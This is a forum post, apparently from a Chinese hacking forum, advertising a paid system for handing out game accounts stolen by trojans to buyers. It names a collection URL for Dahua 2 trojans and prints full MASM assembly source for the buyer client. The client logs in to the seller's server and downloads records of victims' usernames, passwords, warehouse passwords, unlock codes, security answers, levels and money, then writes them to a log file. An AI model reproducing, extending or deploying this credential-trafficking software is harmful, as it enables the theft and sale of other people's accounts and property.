文章作者:asm(http;//www.game8.cc/)
信息来源:邪恶八进制
游戏箱子平台出信程序说明:
为什么说这套程序能保护箱子不被黑?
一,采用exe的方式直接从服务器取信,从根本上杜绝SQL注入,避免黑客猜解管理员密码登陆,保证箱子安全。
二,一切用户密码都经过加密传输,避免黑客嗅探获取密码,保证买家的信封安全。
三,系统化平台出信,把一款游戏的所有游戏马信封都集中在一起分区出信给买家。
很多人都怕自己的箱子被人黑,同时其他的收信程序不够系统化,没有一个收信程序把所有的信封都放在一起,分区出信。在这样的情况下,本程序应运而生。还在害怕黑客黑你的箱子吗?那么请用这套《游戏箱子平台出信程序》吧。用了他,你箱子本身绝对不会被黑。
本软件独创的远程提信技术,直接从服务器取信,不给黑客入侵的机会,并且用户密码加密传输,就算黑客嗅探到加密的密码,他没有还原算法,也无法解密,从而在根本上保护了您箱子的安全。同时,这套软件能够把几款游戏马的信放在一起,分区出信给下家,方便快捷
一,服务端.exe:把这个文件放在箱子的目录里,然后打开。会显示小箱子用户登陆的用户名,预定量,提信量,并且还能显示到期用户
二,用户提信客户端.exe :这个程序是给买信家使用。填写IP地址和用户名,密码。当提信的总量少于预定量的时候,还可以继续提信。当预定量等于提信量的时候,会终止用户提信。
三,收信地址:http://你的域名/post77578.asp 这个收信地址目前只支持“大小姐”跟“天下无马”的大话2游戏马。两个游戏马通用。
注意:总箱子进信量在用户提信是会显示
声明:本软件只能授权后使用,未经授权使用者所发生的不可预知的情况软件作者将不负任何责任。
本程序公开测试,测试版本只支持大小姐和天下无马的大话2游戏马,有其他要求的请联系作者订制。
本版本为测试版,仅做为测试之用,会有测试期限。如需要继续使用,请联系作者获取正式版。谢谢
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
:handshake
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
下面是client的代码:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; by asm,
http://www.game8.cc/
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Client.asm
; 用户提信客户端 -- 下家取信工具
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff Client1.asm
; rc Client.rc
; Link /subsystem:windows Client1.obj Client.res
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include wsock32.inc
includelib wsock32.lib
include comctl32.inc
includelib comctl32.lib
include shell32.inc
includelib shell32.lib
includelib base64code.lib
include _Message.inc
include macros.inc
DecodeBase64 PROTO c :DWORD, :DWORD
EncodeBase64 PROTO c :DWORD, :DWORD,:DWORD
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN equ 1000
DLG_MAIN equ 2000
IDC_LIST1 equ 2001
IDC_COMBOBOXEX2 equ 2002
IDC_EDIT2 equ 2003
IDC_BUTTON4 equ 2004
IDC_PROGRESS1 equ 2005
IDC_AddUser equ 2006
IDC_UserName equ 2007
IDC_PassWord equ 2008
IDC_Qu equ 2009
IDC_Fuwuqi equ 2010
IDC_EDIT14 equ 2011
IDC_EDIT1 equ 2012
IDC_COMBOBOXEX1 equ 2013
IDC_EDIT3 equ 2014
IDC_SERVER equ 2015
IDC_USER equ 2016
IDC_PASS equ 2017
IDC_LOGIN equ 2018
IDC_LOGOUT equ 2019
IDC_BUTTON3 equ 2020
;IDC_BUTTON4 equ 2021
TCP_PORT equ 9999
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hInstance dd ?
hWinMain dd ?
hSocket dd ?
dwLastTime dd ?
szServer db 16 dup (?)
szUserName db 12 dup (?)
szPassword db 12 dup (?)
szText db 256 dup (?)
hList dd ?
@szBuffer db 5026 dup(?)
@dwListviewitem dd ?
hhang dd ?
szMessage db 100 dup(?)
szMessage1 db 100 dup(?)
szMessage2 db 100 dup(?)
szMessage3 db 100 dup(?)
szMessage4 db 100 dup(?)
szMessage5 db 100 dup(?)
szMessage6 db 100 dup(?)
szMessage7 db 100 dup(?)
szMessage8 db 100 dup(?)
szMessage9 db 100 dup(?)
szMessage10 db 100 dup(?)
hEdit dd ?
szWrite db 1024 dup(?)
@hFiledaka dd ?
@dwWritedaka dd ?
@dwWritebyte1 DWORD ?
szBaseUserName db 100 dup(?)
szBasePassword db 100 dup(?)
hNameSize dd ?
hPassSize dd ?
hProgress1 dd ?
@dwCount1 dd ?
.const
szErrIP db '无效的服务器IP地址!',0
szErrConnect db '无法连接到服务器!',0
szErrLogin db '无法登录到服务器,请检查用户名密码!',0
szSpar db ' : ',0
Fmt db "%s",13,10,13,10,0
szFmt db "用户:%s 密码:%s 仓库%s 解锁:%s 密保:%s 服务器:%s 等级:%s 金钱:%s 角色:%s",13,10,13,10,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
include _SocketRoute.asm
include Fun.asm
include _ListView.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 通讯线程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WorkThread proc _lParam
local @stSin:sockaddr_in,@stMsg:MSG_STRUCT
;local @szBuffer[5026]:byte
pushad
invoke GetDlgItem,hWinMain,IDC_SERVER
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hWinMain,IDC_USER
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hWinMain,IDC_PASS
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hWinMain,IDC_LOGIN
invoke EnableWindow,eax,FALSE
;********************************************************************
; 创建 socket
;********************************************************************
invoke RtlZeroMemory,addr @stSin,sizeof @stSin
invoke inet_addr,addr szServer
.if eax == INADDR_NONE
invoke MessageBox,hWinMain,addr szErrIP,NULL,MB_OK or MB_ICONSTOP
jmp _Ret
.endif
mov @stSin.sin_addr,eax
mov @stSin.sin_family,AF_INET
invoke htons,TCP_PORT
mov @stSin.sin_port,ax
invoke socket,AF_INET,SOCK_STREAM,0
mov hSocket,eax
;********************************************************************
; 连接到服务器
;********************************************************************
invoke connect,hSocket,addr @stSin,sizeof @stSin
.if eax == SOCKET_ERROR
invoke MessageBox,hWinMain,addr szErrConnect,NULL,MB_OK or MB_ICONSTOP
jmp _Ret
.endif
;********************************************************************
; 登录到服务器
;********************************************************************
;invoke DecodeBase64,addr szUserName,addr szBaseUserName
;invoke DecodeBase64,addr szPassword,addr szBaseUserName
invoke lstrlen,addr szUserName
mov hNameSize,eax
invoke EncodeBase64,addr szUserName,addr szBaseUserName,hNameSize
;invoke MessageBox,0,addr szBaseUserName,0,0
invoke lstrlen,addr szPassword
mov hPassSize,eax
invoke EncodeBase64,addr szPassword,addr szBasePassword,hPassSize
;invoke MessageBox,0,addr szBasePassword,0,0
invoke lstrcpy,addr @stMsg.Login.szUserName,addr szBaseUserName
invoke lstrcpy,addr @stMsg.Login.szPassword,addr szBasePassword
mov @stMsg.MsgHead.dwLength,sizeof MSG_HEAD+sizeof MSG_LOGIN
mov @stMsg.MsgHead.dwCmdId,CMD_LOGIN
invoke send,hSocket,addr @stMsg,@stMsg.MsgHead.dwLength,0
cmp eax,SOCKET_ERROR
; jz @F
invoke _RecvPacket,hSocket,addr @stMsg,sizeof @stMsg
; or eax,eax
; jnz @F
; cmp @stMsg.MsgHead.dwCmdId,CMD_LOGIN_RESP
; jnz @F
.if @stMsg.MsgHead.dwCmdId == CMD_LOGIN_RESP
.if @stMsg.LoginResp.dbResult != NULL
; @@:
invoke MessageBox,hWinMain,addr szErrLogin,NULL,MB_OK or MB_ICONSTOP
jmp _Ret
.endif
.endif
invoke GetDlgItem,hWinMain,IDC_LOGOUT
invoke EnableWindow,eax,TRUE
;invoke GetDlgItem,hWinMain,IDC_TEXT
invoke EnableWindow,eax,TRUE
invoke GetTickCount
mov dwLastTime,eax
;********************************************************************
; 循环接收消息
;********************************************************************
;invoke SendMessage,hProgress1,PBM_SETRANGE32,0,@dwCount1
;invoke SendMessage,hProgress1,PBM_SETBARCOLOR,0,00FF0000h
invoke SendMessage,hList,LVM_DELETEALLITEMS,0,0
mov hhang,0
;mov @dwCount1,0
.while hSocket
inc hhang
;inc @dwCount1
;invoke SendMessage,hProgress1,PBM_SETPOS,@dwCount1,0
invoke GetTickCount
sub eax,dwLastTime
.break .if eax >= 60 * 1000
invoke _WaitData,hSocket,200 * 1000
.break .if eax == SOCKET_ERROR
.if eax
invoke _RecvPacket,hSocket,addr @stMsg,sizeof @stMsg
.break .if eax
.if @stMsg.MsgHead.dwCmdId == CMD_MSG_DOWN
invoke RtlZeroMemory,addr szWrite,sizeof szWrite
invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
;invoke wsprintf,addr @szBuffer,addr Fmt,addr @stMsg.MsgDown.szContent
;invoke SendDlgItemMessage,hWinMain,IDC_LIST1,LB_ADDSTRING,0,addr @szBuffer
invoke _ListViewSetItem,hList,hhang,-1,0 ;插入新的一行
mov @dwListviewitem,eax
invoke RtlZeroMemory,addr szText,sizeof szText
invoke wsprintf,addr szText,CTXT("%d"),hhang
invoke _ListViewSetItem,hList,@dwListviewitem,0,addr szText
invoke _ListViewSetItem,hList,@dwListviewitem,1,addr @stMsg.MsgDown.szUser
invoke _ListViewSetItem,hList,@dwListviewitem,2,addr @stMsg.MsgDown.szPass
invoke _ListViewSetItem,hList,@dwListviewitem,3,addr @stMsg.MsgDown.szCKpass
invoke _ListViewSetItem,hList,@dwListviewitem,4,addr @stMsg.MsgDown.szJieSuo
invoke _ListViewSetItem,hList,@dwListviewitem,5,addr @stMsg.MsgDown.szMibao
invoke _ListViewSetItem,hList,@dwListviewitem,6,addr @stMsg.MsgDown.szServer
invoke _ListViewSetItem,hList,@dwListviewitem,7,addr @stMsg.MsgDown.szDengji
invoke _ListViewSetItem,hList,@dwListviewitem,8,addr @stMsg.MsgDown.szJinqian
invoke _ListViewSetItem,hList,@dwListviewitem,9,addr @stMsg.MsgDown.szJiaose
invoke _ListViewSetItem,hList,@dwListviewitem,10,addr @stMsg.MsgDown.szIP
invoke _ListViewSetItem,hList,@dwListviewitem,11,addr @stMsg.MsgDown.szTime
invoke wsprintf,addr szWrite,addr szFmt,\
addr @stMsg.MsgDown.szUser,addr @stMsg.MsgDown.szPass,addr @stMsg.MsgDown.szCKpass,addr @stMsg.MsgDown.szJieSuo,\
addr @stMsg.MsgDown.szMibao,addr @stMsg.MsgDown.szServer,addr @stMsg.MsgDown.szDengji,addr @stMsg.MsgDown.szJinqian,\
addr @stMsg.MsgDown.szJiaose;,addr @stMsg.MsgDown.szIP,addr @stMsg.MsgDown.szTime
invoke GetCurrentDirectory,200,addr @szBuffer
invoke lstrcat,addr @szBuffer,CTXT("\游戏信封文本.log")
invoke CreateFile,addr @szBuffer,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,\
0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov @hFiledaka,eax
invoke SetFilePointer,@hFiledaka,0,NULL,FILE_END
invoke lstrlen,addr szWrite
mov @dwWritedaka,eax
invoke WriteFile,@hFiledaka,addr szWrite,@dwWritedaka,addr @dwWritebyte1,NULL
invoke CloseHandle,@hFiledaka
.endif
.if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Game
invoke MessageBox,0,CTXT("已经到达你所预定的信封量,要想继续提信,请续费"),CTXT("提示"),MB_ICONQUESTION
jmp _Ret
.endif
.if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Name
invoke MessageBox,0,CTXT("错误的用户名!"),CTXT("提示"),MB_ICONQUESTION
jmp _Ret
.endif
.if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Game1
;invoke lstrcat,addr @szBuffer,addr @stMsg.MsgDown.szContent
;invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
;invoke wsprintf,addr @szBuffer,addr Fmt,addr @stMsg.MsgDown.szContent
;invoke SendMessage,hList,EM_SETSEL,-1,0
;invoke SendMessage,hList,EM_REPLACESEL,FALSE,addr @szBuffer
;invoke MessageBox,0,addr @stMsg.MsgDown.szContent,0,0
;invoke SendDlgItemMessage,hWinMain,IDC_LIST1,LB_ADDSTRING,0,addr @szBuffer
;invoke SendDlgItemMessage,hWinMain,IDC_INFO,LB_INSERTSTRING,0,addr @szBuffer
.endif
invoke GetTickCount
mov dwLastTime,eax
.endif
.endw
jmp _Ret
invoke GetDlgItem,hWinMain,IDOK
invoke EnableWindow,eax,FALSE
;invoke GetDlgItem,hWinMain,IDC_TEXT
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hWinMain,IDC_LOGOUT
invoke EnableWindow,eax,FALSE
;********************************************************************
_Ret:
.if hSocket
invoke closesocket,hSocket
xor eax,eax
mov hSocket,eax
.endif
invoke GetDlgItem,hWinMain,IDC_SERVER
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_USER
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_PASS
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_LOGIN
invoke EnableWindow,eax,TRUE
popad
ret
_WorkThread endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 主窗口程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam
local @stWsa:WSADATA,@stMsg:MSG_STRUCT
mov eax,wMsg
;********************************************************************
.if eax == WM_COMMAND
mov eax,wParam
;********************************************************************
; 全部输入IP地址,用户名和密码后则激活"登录"按钮
;********************************************************************
.if (ax == IDC_SERVER) || (ax == IDC_USER) || (ax == IDC_PASS)
invoke GetDlgItemText,hWinMain,IDC_SERVER,addr szServer,sizeof szServer
invoke GetDlgItemText,hWinMain,IDC_USER,addr szUserName,sizeof szUserName
invoke GetDlgItemText,hWinMain,IDC_PASS,addr szPassword,sizeof szPassword
invoke GetDlgItem,hWinMain,IDC_LOGIN
.if szServer && szUserName && szPassword && !hSocket
invoke EnableWindow,eax,TRUE
.else
invoke EnableWindow,eax,FALSE
.endif
;********************************************************************
; 登录成功后,输入聊天语句后才激活"发送"按钮
;********************************************************************
; .elseif ax == IDC_LIST1
; invoke GetDlgItemText,hWinMain,IDC_TEXT,addr szText,sizeof szText
; invoke GetDlgItem,hWinMain,IDOK
; .if szText && hSocket
; invoke EnableWindow,eax,TRUE
; .else
; invoke EnableWindow,eax,FALSE
; .endif
;********************************************************************
.elseif ax == IDC_LOGIN
invoke DeleteFile,CTXT("游戏信封文本.log")
push ecx
invoke CreateThread,NULL,0,offset _WorkThread,0,NULL,esp
pop ecx
invoke CloseHandle,eax
.elseif ax == IDC_BUTTON4
invoke DeleteFile,CTXT("游戏信封文本.log")
push ecx
invoke CreateThread,NULL,0,offset _WorkThread,0,NULL,esp
pop ecx
invoke CloseHandle,eax
;********************************************************************
.elseif ax == IDC_LOGOUT
@@:
.if hSocket
invoke closesocket,hSocket
xor eax,eax
mov hSocket,eax
.endif
invoke GetDlgItem,hWinMain,IDC_SERVER
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_USER
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_PASS
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_LOGIN
invoke EnableWindow,eax,TRUE
;********************************************************************
.elseif ax == IDOK
invoke lstrcpy,addr @stMsg.MsgUp.szContent,addr szText
invoke lstrlen,addr @stMsg.MsgUp.szContent
inc eax
mov @stMsg.MsgUp.dwLength,eax
add eax,sizeof MSG_HEAD+MSG_UP.szContent
mov @stMsg.MsgHead.dwLength,eax
mov @stMsg.MsgHead.dwCmdId,CMD_MSG_UP
invoke send,hSocket,addr @stMsg,@stMsg.MsgHead.dwLength,0
cmp eax,SOCKET_ERROR
jz @B
invoke GetTickCount
mov dwLastTime,eax
; invoke SetDlgItemText,hWinMain,IDC_TEXT,NULL
; invoke GetDlgItem,hWinMain,IDC_TEXT
invoke SetFocus,eax
.endif
;********************************************************************
.elseif eax == WM_CLOSE
.if ! hSocket
invoke WSACleanup
invoke EndDialog,hWinMain,NULL
.endif
;********************************************************************
.elseif eax == WM_INITDIALOG
push hWnd
pop hWinMain
invoke LoadIcon,hInstance,ICO_MAIN
invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
invoke GetDlgItem,hWnd,IDC_LIST1
mov hList,eax
invoke GetDlgItem,hWnd,IDC_BUTTON3
mov hEdit,eax
;invoke GetDlgItem,hWnd,IDC_PROGRESS1
;mov hProgress1,eax
;mov @dwCount1,0
;invoke SendMessage,hProgress1,PBM_SETRANGE32,0,@dwCount1
;invoke SendMessage,hProgress1,PBM_SETBARCOLOR,0,00FF0000h
invoke _ListViewAddColumn,hList,0,50,CTXT("ID")
invoke _ListViewAddColumn,hList,1,100,CTXT("用户")
invoke _ListViewAddColumn,hList,2,100,CTXT("密码")
invoke _ListViewAddColumn,hList,3,80,CTXT("仓库密码")
invoke _ListViewAddColumn,hList,4,100,CTXT("解锁码") ;小姐
invoke _ListViewAddColumn,hList,5,80,CTXT("密保") ;小姐
invoke _ListViewAddColumn,hList,6,80,CTXT("服务器")
invoke _ListViewAddColumn,hList,7,50,CTXT("等级")
invoke _ListViewAddColumn,hList,8,50,CTXT("金钱")
invoke _ListViewAddColumn,hList,9,50,CTXT("角色")
invoke _ListViewAddColumn,hList,10,100,CTXT("IP")
invoke _ListViewAddColumn,hList,11,100,CTXT("时间")
invoke WSAStartup,101h,addr @stWsa
; invoke SendDlgItemMessage,hWinMain,IDC_SERVER,EM_SETLIMITTEXT,15,0
; invoke SendDlgItemMessage,hWinMain,IDC_USER,EM_SETLIMITTEXT,11,0
; invoke SendDlgItemMessage,hWinMain,IDC_PASS,EM_SETLIMITTEXT,11,0
; invoke SendDlgItemMessage,hWinMain,IDC_TEXT,EM_SETLIMITTEXT,250,0
invoke ShellExecute,0,0,CTXT("http://www.game8.cc/"),0,0,SW_SHOW
.elseif eax == WM_NOTIFY
mov eax,wParam
.if eax == IDC_LIST1
push edi
mov edi, lParam
.if [edi.NMHDR].code == NM_DBLCLK ;双击
invoke RtlZeroMemory,addr szMessage,sizeof szMessage
invoke RtlZeroMemory,addr szMessage1,sizeof szMessage
invoke RtlZeroMemory,addr szMessage2,sizeof szMessage
invoke RtlZeroMemory,addr szMessage3,sizeof szMessage
invoke RtlZeroMemory,addr szMessage4,sizeof szMessage
invoke RtlZeroMemory,addr szMessage5,sizeof szMessage
invoke RtlZeroMemory,addr szMessage6,sizeof szMessage
invoke RtlZeroMemory,addr szMessage7,sizeof szMessage
invoke RtlZeroMemory,addr szMessage8,sizeof szMessage
invoke RtlZeroMemory,addr szMessage9,sizeof szMessage
invoke RtlZeroMemory,addr szMessage10,sizeof szMessage
invoke RtlZeroMemory,addr szWrite,sizeof szWrite
invoke SetDlgItemText,hWnd,IDC_BUTTON3,CTXT(" ")
invoke _ListViewSelect,hList,1,addr szMessage ,sizeof szMessage
invoke _ListViewSelect,hList,2,addr szMessage1 ,sizeof szMessage
invoke _ListViewSelect,hList,3,addr szMessage2 ,sizeof szMessage
invoke _ListViewSelect,hList,4,addr szMessage3 ,sizeof szMessage
invoke _ListViewSelect,hList,5,addr szMessage4 ,sizeof szMessage
invoke _ListViewSelect,hList,6,addr szMessage5 ,sizeof szMessage
invoke _ListViewSelect,hList,7,addr szMessage6 ,sizeof szMessage
invoke _ListViewSelect,hList,8,addr szMessage7 ,sizeof szMessage
invoke _ListViewSelect,hList,9,addr szMessage8 ,sizeof szMessage
invoke _ListViewSelect,hList,10,addr szMessage9 ,sizeof szMessage
invoke _ListViewSelect,hList,11,addr szMessage10 ,sizeof szMessage
invoke wsprintf,addr szWrite,CTXT("用户:%s 密码:%s 仓库%s 解锁:%s 密保:%s 服务器:%s 等级:%s 金钱:%s 角色:%s IP:%s 时间:%s"),\
addr szMessage,addr szMessage1,addr szMessage2,addr szMessage3,addr szMessage4,addr szMessage5,addr szMessage6,addr szMessage7,addr szMessage8,\
addr szMessage9,addr szMessage10
invoke SendMessage,hEdit,EM_SETSEL,-1,0
invoke SendMessage,hEdit,EM_REPLACESEL,FALSE,addr szWrite
.endif
pop edi
.endif
;********************************************************************
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 程序开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke InitCommonControls
invoke DialogBoxParam,eax,DLG_MAIN,NULL,offset _ProcDlgMain,0
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
[
本帖最后由 asm 于 2008-2-4 17:43 编辑 ]